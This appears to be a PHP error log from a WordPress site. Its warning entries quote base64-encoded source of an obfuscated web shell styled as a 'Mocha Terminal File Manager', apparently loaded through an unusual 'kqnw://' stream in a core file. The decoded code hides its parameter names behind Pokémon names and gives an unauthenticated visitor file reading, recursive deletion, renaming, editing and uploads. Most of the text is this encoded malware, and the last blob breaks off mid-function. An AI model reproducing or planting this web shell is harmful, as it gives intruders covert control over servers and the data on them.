1sc3BlY2lhbGNoYXJzKGFkZHNsYXNoZXMoJGl0ZW1bJ25hbWUnXSkpOyA/PicpIj5bZGVsZXRlXTwvc3Bhbj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8P3BocCBlbmRmb3JlYWNoOyA/Pg0KICAgICAgICANCiAgICAgICAgPD9waHAgaWYgKGVtcHR5KCRhbGxfaXRlbXMpKTogPz4NCiAgICAgICAgICAgIDxkaXYgc3R5bGU9InBhZGRpbmc6MTBweDsgY29sb3I6dmFyKC0tdGV4dC1kaW0pOyI+RGlyZWN0b3J5IGlzIGVtcHR5LjwvZGl2Pg0KICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICA8L2Rpdj4NCg0KICAgIDwhLS0gQm90dG9tIFBhbmVsIC0tPg0KICAgIDxkaXYgY2xhc3M9ImJvdHRvbS1wYW5lbCI+DQogICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgY2xhc3M9ImFjdGlvbi1mb3JtIiBzdHlsZT0iZmxleDoyOyI+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSI8P3BocCBlY2hvIFBfQUNUSU9OOyA/PiIgdmFsdWU9Ijw/cGhwIGVjaG8gQV9VUDsgPz4iPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iPD9waHAgZWNobyBQX1RBUkc7ID8+IiB2YWx1ZT0iPD9waHAgZWNobyBnZXRfaGFzaCgkY3VycmVudF9kaXIpOyA/PiI+DQogICAgICAgICAgICA8c3BhbiBjbGFzcz0iY21kLWxpbmUiPnVwbG9hZCZndDs8L3NwYW4+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iPD9waHAgZWNobyBQX0ZJTEU7ID8+Ij4NCiAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0Ij5TZW5kPC9idXR0b24+DQogICAgICAgIDwvZm9ybT4NCg0KICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGNsYXNzPSJhY3Rpb24tZm9ybSIgc3R5bGU9ImZsZXg6MTsiPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iPD9waHAgZWNobyBQX0FDVElPTjsgPz4iIHZhbHVlPSI8P3BocCBlY2hvIEFfTUtESVI7ID8+Ij4NCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8gUF9UQVJHOyA/PiIgdmFsdWU9Ijw/cGhwIGVjaG8gZ2V0X2hhc2goJGN1cnJlbnRfZGlyKTsgPz4iPg0KICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNtZC1saW5lIj5ta2RpciZndDs8L3NwYW4+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iPD9waHAgZWNobyBQX05BTUU7ID8+IiBwbGFjZWhvbGRlcj0ibmV3X2ZvbGRlciIgcmVxdWlyZWQ+DQogICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCI+KzwvYnV0dG9uPg0KICAgICAgICA8L2Zvcm0+DQogICAgPC9kaXY+DQo8L2Rpdj4NCg0KPCEtLSBISURERU4gRk9STVMgRk9SIEFDVElPTlMgLS0+DQo8Zm9ybSBpZD0iYWN0aW9uLWZvcm0iIG1ldGhvZD0icG9zdCIgc3R5bGU9ImRpc3BsYXk6bm9uZTsiPg0KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8gUF9BQ1RJT047ID8+IiBpZD0iYWN0LWFjdGlvbiI+DQogICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iPD9waHAgZWNobyBQX0hBU0g7ID8+IiBpZD0iYWN0LWhhc2giPg0KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8gUF9OQU1FOyA/PiIgaWQ9ImFjdC1uZXduYW1lIj4NCjwvZm9ybT4NCg0KPCEtLSBERUxFVEUgTU9EQUwgLS0+DQo8ZGl2IGlkPSJkZWxldGUtbW9kYWwiIGNsYXNzPSJtb2RhbC1vdmVybGF5Ij4NCiAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib3giPg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPkRlbGV0ZSBDb25maXJtYXRpb248L2Rpdj4NCiAgICAgICAgPGRpdj5BcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZGVsZXRlIDxiIGlkPSJkZWwtZmlsZW5hbWUiPmZpbGU8L2I+PzwvZGl2Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1mb290ZXIiPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjbG9zZU1vZGFscygpIiBzdHlsZT0iYmFja2dyb3VuZDp0cmFuc3BhcmVudDsgYm9yZGVyLWNvbG9yOnZhcigtLXRleHQtZGltKTsiPkNhbmNlbDwvYnV0dG9uPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjb25maXJtRGVsZXRlKCkiPkRlbGV0ZTwvYnV0dG9uPg0KICAgICAgICA8L2Rpdj4NCiAgICA8L2Rpdj4NCjwvZGl2Pg0KDQo8IS0tIFJFTkFNRSBNT0RBTCAtLT4NCjxkaXYgaWQ9InJlbmFtZS1tb2RhbCIgY2xhc3M9Im1vZGFsLW92ZXJsYXkiPg0KICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJveCI+DQogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+UmVuYW1lPC9kaXY+DQogICAgICAgIDxkaXY+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgaWQ9InJlbi1pbnB1dCIgc3R5bGU9IndpZHRoOjEwMCU7IHBhZGRpbmc6OHB4OyI+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1mb290ZXIiPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjbG9zZU1vZGFscygpIiBzdHlsZT0iYmFja2dyb3VuZDp0cmFuc3BhcmVudDsgYm9yZGVyLWNvbG9yOnZhcigtLXRleHQtZGltKTsiPkNhbmNlbDwvYnV0dG9uPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjb25maXJtUmVuYW1lKCkiPlJlbmFtZTwvYnV0dG9uPg0KICAgICAgICA8L2Rpdj4NCiAgICA8L2Rpdj4NCjwvZGl2Pg0KDQo8IS0tIEVESVRPUiBNT0RBTCAtLT4NCjxkaXYgaWQ9ImVkaXRvci1tb2RhbCIgY2xhc3M9Im1vZGFsLW92ZXJsYXkiPg0KICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJveCI+DQogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciIgc3R5bGU9ImRpc3BsYXk6ZmxleDsganVzdGlmeS1jb250ZW50OnNwYWNlLWJldHdlZW47Ij4NCiAgICAgICAgICAgIDxzcGFuIGlkPSJlZGl0b3ItZmlsZW5hbWUiPkVkaXRpbmc8L3NwYW4+DQogICAgICAgICAgICA8c3BhbiBzdHlsZT0iY3Vyc29yOnBvaW50ZXI7IiBvbmNsaWNrPSJjbG9zZU1vZGFscygpIj5beF08L3NwYW4+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8dGV4dGFyZWEgaWQ9ImVkaXRvci1hcmVhIj48L3RleHRhcmVhPg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1mb290ZXIiPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjbG9zZU1vZGFscygpIiBzdHlsZT0iYmFja2dyb3VuZDp0cmFuc3BhcmVudDsgYm9yZGVyLWNvbG9yOnZhcigtLXRleHQtZGltKTsiPkNhbmNlbDwvYnV0dG9uPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJzYXZlRWRpdCgpIj5TYXZlPC9idXR0b24+DQogICAgICAgIDwvZGl2Pg0KICAgIDwvZGl2Pg0KPC9kaXY+DQoNCjxzY3JpcHQ+DQogICAgLy8gSGVscGVycw0KICAgIGNvbnN0IFBfQUNUSU9OID0gJzw/cGhwIGVjaG8gUF9BQ1RJT047ID8+JzsNCiAgICBjb25zdCBBX0RFTCA9ICc8P3BocCBlY2hvIEFfREVMOyA/Pic7DQogICAgY29uc3QgQV9SRU4gPSAnPD9waHAgZWNobyBBX1JFTjsgPz4nOw0KICAgIGNvbnN0IEFfRURJVCA9ICc8P3BocCBlY2hvIEFfRURJVDsgPz4nOw0KICAgIA0KICAgIGxldCBjdXJyZW50QWN0aW9uSGFzaCA9IG51bGw7DQoNCiAgICAvLyBNb2RhbCBIYW5kbGVycw0KICAgIGZ1bmN0aW9uIGNsb3NlTW9kYWxzKCkgew0KICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcubW9kYWwtb3ZlcmxheScpLmZvckVhY2goZWwgPT4gZWwuc3R5bGUuZGlzcGxheSA9ICdub25lJyk7DQogICAgICAgIGN1cnJlbnRBY3Rpb25IYXNoID0gbnVsbDsNCiAgICB9DQoNCiAgICAvLyBEZWxldGUgTG9naWMNCiAgICBmdW5jdGlvbiBvcGVuRGVsZXRlTW9kYWwoaGFzaCwgbmFtZSkgew0KICAgICAgICBjdXJyZW50QWN0aW9uSGFzaCA9IGhhc2g7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkZWwtZmlsZW5hbWUnKS5pbm5lclRleHQgPSBuYW1lOw0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZGVsZXRlLW1vZGFsJykuc3R5bGUuZGlzcGxheSA9ICdmbGV4JzsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBjb25maXJtRGVsZXRlKCkgew0KICAgICAgICBpZihjdXJyZW50QWN0aW9uSGFzaCkgew0KICAgICAgICAgICAgc3VibWl0QWN0aW9uKEFfREVMLCBjdXJyZW50QWN0aW9uSGFzaCk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvLyBSZW5hbWUgTG9naWMNCiAgICBmdW5jdGlvbiBvcGVuUmVuYW1lTW9kYWwoaGFzaCwgbmFtZSkgew0KICAgICAgICBjdXJyZW50QWN0aW9uSGFzaCA9IGhhc2g7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdyZW4taW5wdXQnKS52YWx1ZSA9IG5hbWU7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdyZW5hbWUtbW9kYWwnKS5zdHlsZS5kaXNwbGF5ID0gJ2ZsZXgnOw0KICAgIH0NCg0KICAgIGZ1bmN0aW9uIGNvbmZpcm1SZW5hbWUoKSB7DQogICAgICAgIGlmKGN1cnJlbnRBY3Rpb25IYXNoKSB7DQogICAgICAgICAgICBsZXQgbmV3TmFtZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdyZW4taW5wdXQnKS52YWx1ZTsNCiAgICAgICAgICAgIGlmKG5ld05hbWUpIHsNCiAgICAgICAgICAgICAgICBsZXQgZm9ybSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3Rpb24tZm9ybScpOw0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3QtYWN0aW9uJykudmFsdWUgPSBBX1JFTjsNCiAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWN0LWhhc2gnKS52YWx1ZSA9IGN1cnJlbnRBY3Rpb25IYXNoOw0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3QtbmV3bmFtZScpLnZhbHVlID0gbmV3TmFtZTsNCiAgICAgICAgICAgICAgICBmb3JtLnN1Ym1pdCgpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgLy8gRWRpdG9yIExvZ2ljDQogICAgZnVuY3Rpb24gb3BlbkVkaXRvcihoYXNoLCBuYW1lKSB7DQogICAgICAgIGN1cnJlbnRBY3Rpb25IYXNoID0gaGFzaDsNCiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2VkaXRvci1maWxlbmFtZScpLmlubmVyVGV4dCA9ICdFZGl0aW5nOiAnICsgbmFtZTsNCiAgICAgICAgDQogICAgICAgIHZhciB4aHIgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsNCiAgICAgICAgeGhyLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgaWYgKHhoci5yZWFkeVN0YXRlID09PSA0KSB7DQogICAgICAgICAgICAgICAgaWYgKHhoci5zdGF0dXMgPT09IDIwMCkgew0KICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZWRpdG9yLWFyZWEnKS52YWx1ZSA9IHhoci5yZXNwb25zZVRleHQ7DQogICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0b3ItbW9kYWwnKS5zdHlsZS5kaXNwbGF5ID0gJ2ZsZXgnOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGFsZXJ0KCJFcnJvciBsb2FkaW5nIGZpbGUuIik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9Ow0KICAgICAgICB4aHIub3BlbignR0VUJywgJz88P3BocCBlY2hvIFBfUkFXOyA/Pj0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGhhc2gpLCB0cnVlKTsNCiAgICAgICAgeGhyLnNlbmQoKTsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBzYXZlRWRpdCgpIHsNCiAgICAgICAgaWYgKCFjdXJyZW50QWN0aW9uSGFzaCkgcmV0dXJuOw0KICAgICAgICBsZXQgY29udGVudCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0b3ItYXJlYScpLnZhbHVlOw0KICAgICAgICANCiAgICAgICAgbGV0IGZvcm0gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdmb3JtJyk7DQogICAgICAgIGZvcm0ubWV0aG9kID0gJ1BPU1QnOw0KICAgICAgICBmb3JtLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7DQoNCiAgICAgICAgY3JlYXRlSW5wdXQoZm9ybSwgJzw/cGhwIGVjaG8gUF9BQ1RJT047ID8+JywgJzw/cGhwIGVjaG8gQV9FRElUOyA/PicpOw0KICAgICAgICBjcmVhdGVJbnB1dChmb3JtLCAnPD9waHAgZWNobyBQX0hBU0g7ID8+JywgY3VycmVudEFjdGlvbkhhc2gpOw0KICAgICAgICBjcmVhdGVJbnB1dChmb3JtLCAnPD9waHAgZWNobyBQX0NPTlQ7ID8+JywgY29udGVudCk7DQoNCiAgICAgICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChmb3JtKTsNCiAgICAgICAgZm9ybS5zdWJtaXQoKTsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBzdWJtaXRBY3Rpb24oYWN0aW9uLCBoYXNoKSB7DQogICAgICAgIGxldCBmb3JtID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2FjdGlvbi1mb3JtJyk7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3QtYWN0aW9uJykudmFsdWUgPSBhY3Rpb247DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3QtaGFzaCcpLnZhbHVlID0gaGFzaDsNCiAgICAgICAgZm9ybS5zdWJtaXQoKTsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBjcmVhdGVJbnB1dChmb3JtLCBuYW1lLCB2YWx1ZSkgew0KICAgICAgICBsZXQgaW5wdXQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbnB1dCcpOw0KICAgICAgICBpbnB1dC50eXBlID0gJ2hpZGRlbic7DQogICAgICAgIGlucHV0Lm5hbWUgPSBuYW1lOw0KICAgICAgICBpbnB1dC52YWx1ZSA9IHZhbHVlOw0KICAgICAgICBmb3JtLmFwcGVuZENoaWxkKGlucHV0KTsNCiAgICB9DQo8L3NjcmlwdD4NCg0KPC9ib2R5Pg0KPC9odG1sPg==:237) in /home/livedhms/streamsza.com/wp-includes/pluggable.php on line 1535
[03-Jun-2026 23:17:17 UTC] PHP Warning:  Cannot modify header information - headers already sent by (output started at kqnw://PD9waHAgLyoqDQogKiBNb2NoYSBUZXJtaW5hbCBGaWxlIE1hbmFnZXIgKE5vdGlmaWNhdGlvbnMgRWRpdGlvbikNCiAqIFNpbmdsZSBGaWxlLCBQSFAgNSsgQ29tcGF0aWJsZQ0KICovDQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQovLyBQT0tFTU9OIFBBUkFNRVRFUiBNQVBQSU5HDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLy8gR0VUIFBhcmFtcw0KY29uc3QgUF9ESVIgICAgICA9ICdwaWthY2h1JzsgICAgICAgLy8gRGlyZWN0b3J5IGhhc2gNCmNvbnN0IFBfUkFXICAgICAgPSAnYnVsYmFzYXVyJzsgICAgIC8vIFJhdyBmaWxlIHZpZXcgZm9yIGVkaXRvcg0KY29uc3QgUF9NU0cgICAgICA9ICdtZXd0d28nOyAgICAgICAgLy8gU3RhdHVzIG1lc3NhZ2UgdGV4dA0KY29uc3QgUF9UWVBFICAgICA9ICdtb2x0cmVzJzsgICAgICAgLy8gU3RhdHVzIG1lc3NhZ2UgdHlwZSAoc3VjY2Vzcy9lcnJvcikNCg0KLy8gUE9TVCBQYXJhbXMNCmNvbnN0IFBfQUNUSU9OICAgPSAnY2hhcml6YXJkJzsgICAgIC8vIEFjdGlvbiBuYW1lDQpjb25zdCBQX0hBU0ggICAgID0gJ3NxdWlydGxlJzsgICAgICAvLyBGaWxlL0ZvbGRlciBoYXNoDQpjb25zdCBQX1RBUkcgICAgID0gJ3BzeWR1Y2snOyAgICAgICAvLyBUYXJnZXQgZGlyZWN0b3J5IGhhc2ggKGZvciB1cGxvYWQvbWtkaXIpDQpjb25zdCBQX05BTUUgICAgID0gJ2ppZ2dseXB1ZmYnOyAgICAvLyBOZXcgTmFtZSAvIEZvbGRlciBOYW1lDQpjb25zdCBQX0NPTlQgICAgID0gJ3Nub3JsYXgnOyAgICAgICAvLyBGaWxlIGNvbnRlbnQgZm9yIGVkaXQNCmNvbnN0IFBfRklMRSAgICAgPSAnbWVvd3RoJzsgICAgICAgIC8vIFVwbG9hZGVkIGZpbGUgKCRfRklMRVMpDQpjb25zdCBQX0ZEQVRBICAgID0gJ2dlbmdhcic7ICAgICAgICAvLyBCYXNlNjQgZmlsZSBkYXRhDQpjb25zdCBQX0ZOQU1FICAgID0gJ29uaXgnOyAgICAgICAgICAvLyBGaWxlbmFtZSBmb3IgYmFzZTY0IHVwbG9hZA0KDQovLyBBY3Rpb24gVmFsdWVzDQpjb25zdCBBX0RFTCAgICAgID0gJ2h5ZHJvLXB1bXAnOw0KY29uc3QgQV9SRU4gICAgICA9ICdmbGFtZXRocm93ZXInOw0KY29uc3QgQV9FRElUICAgICA9ICdzb2xhci1iZWFtJzsNCmNvbnN0IEFfVVAgICAgICAgPSAnaHlwZXItYmVhbSc7DQpjb25zdCBBX01LRElSICAgID0gJ2VhcnRocXVha2UnOw0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLy8gMS4gRUFSTFkgUkVTUE9OU0UgSEFORExFUlMgKEFKQVggLyBSQVcgVklFVykNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCi8vIEhhbmRsZSBSYXcgVmlldyAoRWRpdG9yIENvbnRlbnQpIC0gTXVzdCBiZSB0b3Agb2YgZmlsZQ0KaWYgKGlzc2V0KCRfR0VUW1BfUkFXXSkpIHsNCiAgICAkaGFzaCA9ICRfR0VUW1BfUkFXXTsNCiAgICAkcGF0aCA9IGJhc2U2NF9kZWNvZGUoJGhhc2gpOw0KICAgIA0KICAgIGlmIChpc19maWxlKCRwYXRoKSkgew0KICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9wbGFpbicpOw0KICAgICAgICByZWFkZmlsZSgkcGF0aCk7DQogICAgICAgIGV4aXQ7DQogICAgfSBlbHNlIHsNCiAgICAgICAgaGVhZGVyKCJIVFRQLzEuMCA0MDQgTm90IEZvdW5kIik7DQogICAgICAgIGV4aXQoIkZpbGUgbm90IGZvdW5kLiIpOw0KICAgIH0NCn0NCg0KLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCi8vIDIuIENPTkZJR1VSQVRJT04gJiBTRVRVUA0KLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KZXJyb3JfcmVwb3J0aW5nKEVfQUxMKTsNCmluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7IA0KDQogJGJhc2VfZGlyID0gZ2V0Y3dkKCk7DQogJGJhc2VfZGlyID0gcnRyaW0oJGJhc2VfZGlyLCAnL1xcJyk7DQoNCi8vIEN1cnJlbnQgRGlyZWN0b3J5IExvZ2ljDQogJGN1cnJlbnRfZGlyID0gJGJhc2VfZGlyOw0KaWYgKGlzc2V0KCRfR0VUW1BfRElSXSkpIHsNCiAgICAkZGVjb2RlZCA9IGJhc2U2NF9kZWNvZGUoJF9HRVRbUF9ESVJdKTsNCiAgICBpZiAoJGRlY29kZWQgJiYgaXNfZGlyKCRkZWNvZGVkKSkgew0KICAgICAgICAkY3VycmVudF9kaXIgPSAkZGVjb2RlZDsNCiAgICB9DQp9DQoNCi8vIFJlYWQgTm90aWZpY2F0aW9uIGZyb20gVVJMDQogJHN0YXR1c19tc2cgPSBpc3NldCgkX0dFVFtQX01TR10pID8gaHRtbHNwZWNpYWxjaGFycygkX0dFVFtQX01TR10pIDogJyc7DQogJHN0YXR1c190eXBlID0gaXNzZXQoJF9HRVRbUF9UWVBFXSkgPyAkX0dFVFtQX1RZUEVdIDogJ3N1Y2Nlc3MnOw0KDQpmdW5jdGlvbiBnZXRfc2FmZV9wYXRoKCRwYXRoKSB7DQogICAgcmV0dXJuIHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KfQ0KDQpmdW5jdGlvbiBnZXRfaGFzaCgkcGF0aCkgew0KICAgIHJldHVybiBydHJpbShiYXNlNjRfZW5jb2RlKCRwYXRoKSwgJz0nKTsNCn0NCg0KLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCi8vIDMuIFBPU1QgSEFORExJTkcgKEFDVElPTlMpDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQovLyBDdXN0b20gUmVkaXJlY3QgaGVscGVyIHRoYXQgY2FycmllcyB0aGUgbWVzc2FnZQ0KZnVuY3Rpb24gcmVkaXJlY3QoJGRpciwgJG1zZyA9ICcnLCAkdHlwZSA9ICdzdWNjZXNzJykgew0KICAgICR1cmwgPSAiPyIgLiBQX0RJUiAuICI9IiAuIGdldF9oYXNoKCRkaXIpOw0KICAgIGlmICgkbXNnKSB7DQogICAgICAgICR1cmwgLj0gIiYiIC4gUF9NU0cgLiAiPSIgLiB1cmxlbmNvZGUoJG1zZyk7DQogICAgICAgICR1cmwgLj0gIiYiIC4gUF9UWVBFIC4gIj0iIC4gJHR5cGU7DQogICAgfQ0KICAgIGhlYWRlcigiTG9jYXRpb246ICIgLiAkdXJsKTsNCiAgICBleGl0Ow0KfQ0KDQppZiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICdQT1NUJykgew0KDQogICAgLy8gMS4gREVMRVRFDQogICAgaWYgKGlzc2V0KCRfUE9TVFtQX0FDVElPTl0pICYmICRfUE9TVFtQX0FDVElPTl0gPT09IEFfREVMICYmIGlzc2V0KCRfUE9TVFtQX0hBU0hdKSkgew0KICAgICAgICAkdGFyZ2V0ID0gYmFzZTY0X2RlY29kZSgkX1BPU1RbUF9IQVNIXSk7DQogICAgICAgICRzdWNjZXNzID0gZmFsc2U7DQogICAgICAgIGlmIChpc19maWxlKCR0YXJnZXQpKSB7DQogICAgICAgICAgICAkc3VjY2VzcyA9IEB1bmxpbmsoJHRhcmdldCk7DQogICAgICAgIH0gZWxzZWlmIChpc19kaXIoJHRhcmdldCkpIHsNCiAgICAgICAgICAgIGZ1bmN0aW9uIHJybWRpcigkZGlyKSB7DQogICAgICAgICAgICAgICAgJGZpbGVzID0gYXJyYXlfZGlmZihzY2FuZGlyKCRkaXIpLCBhcnJheSgnLicsJy4uJykpOw0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgew0KICAgICAgICAgICAgICAgICAgICAoaXNfZGlyKCIkZGlyLyRmaWxlIikpID8gcnJtZGlyKCIkZGlyLyRmaWxlIikgOiB1bmxpbmsoIiRkaXIvJGZpbGUiKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgcmV0dXJuIEBybWRpcigkZGlyKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRzdWNjZXNzID0gcnJtZGlyKCR0YXJnZXQpOw0KICAgICAgICB9DQogICAgICAgIHJlZGlyZWN0KGRpcm5hbWUoJHRhcmdldCksICRzdWNjZXNzID8gIkl0ZW0gZGVsZXRlZC4iIDogIkRlbGV0ZSBmYWlsZWQuIiwgJHN1Y2Nlc3MgPyAic3VjY2VzcyIgOiAiZXJyb3IiKTsNCiAgICB9DQoNCiAgICAvLyAyLiBSRU5BTUUNCiAgICBlbHNlaWYgKGlzc2V0KCRfUE9TVFtQX0FDVElPTl0pICYmICRfUE9TVFtQX0FDVElPTl0gPT09IEFfUkVOICYmIGlzc2V0KCRfUE9TVFtQX0hBU0hdKSAmJiBpc3NldCgkX1BPU1RbUF9OQU1FXSkpIHsNCiAgICAgICAgJHRhcmdldCA9IGJhc2U2NF9kZWNvZGUoJF9QT1NUW1BfSEFTSF0pOw0KICAgICAgICAkbmV3X25hbWUgPSBiYXNlbmFtZSgkX1BPU1RbUF9OQU1FXSk7DQogICAgICAgICRkZXN0aW5hdGlvbiA9IGRpcm5hbWUoJHRhcmdldCkgLiAnLycgLiAkbmV3X25hbWU7DQogICAgICAgICRzdWNjZXNzID0gQHJlbmFtZSgkdGFyZ2V0LCAkZGVzdGluYXRpb24pOw0KICAgICAgICByZWRpcmVjdChkaXJuYW1lKCR0YXJnZXQpLCAkc3VjY2VzcyA/ICJSZW5hbWVkIHN1Y2Nlc3NmdWxseS4iIDogIlJlbmFtZSBmYWlsZWQuIiwgJHN1Y2Nlc3MgPyAic3VjY2VzcyIgOiAiZXJyb3IiKTsNCiAgICB9DQoNCiAgICAvLyAzLiBTQVZFIEVESVQNCiAgICBlbHNlaWYgKGlzc2V0KCRfUE9TVFtQX0FDVElPTl0pICYmICRfUE9TVFtQX0FDVElPTl0gPT09IEFfRURJVCAmJiBpc3NldCgkX1BPU1RbUF9IQVNIXSkgJiYgaXNzZXQoJF9QT1NUW1BfQ09OVF0pKSB7DQogICAgICAgICR0YXJnZXQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFtQX0hBU0hdKTsNCiAgICAgICAgJGNvbnRlbnQgPSAkX1BPU1RbUF9DT05UXTsNCiAgICAgICAgJHRlbXBfZmlsZSA9ICR0YXJnZXQgLiAnLnRtcF8nIC4gdW5pcWlkKG10X3JhbmQoKSwgdHJ1ZSk7DQogICAgICAgICR3cml0ZV9zdWNjZXNzID0gZXJyb3JfbG9nKCRjb250ZW50LCAzLCAkdGVtcF9maWxlKTsNCiAgICAgICAgDQogICAgICAgICRmaW5hbF9zdWNjZXNzID0gZmFsc2U7DQogICAgICAgIGlmICgkd3JpdGVfc3VjY2Vzcykgew0KICAgICAgICAgICAgaWYgKEByZW5hbWUoJHRlbXBfZmlsZSwgJHRhcmdldCkpIHsNCiAgICAgICAgICAgICAgICAkZmluYWxfc3VjY2VzcyA9IHRydWU7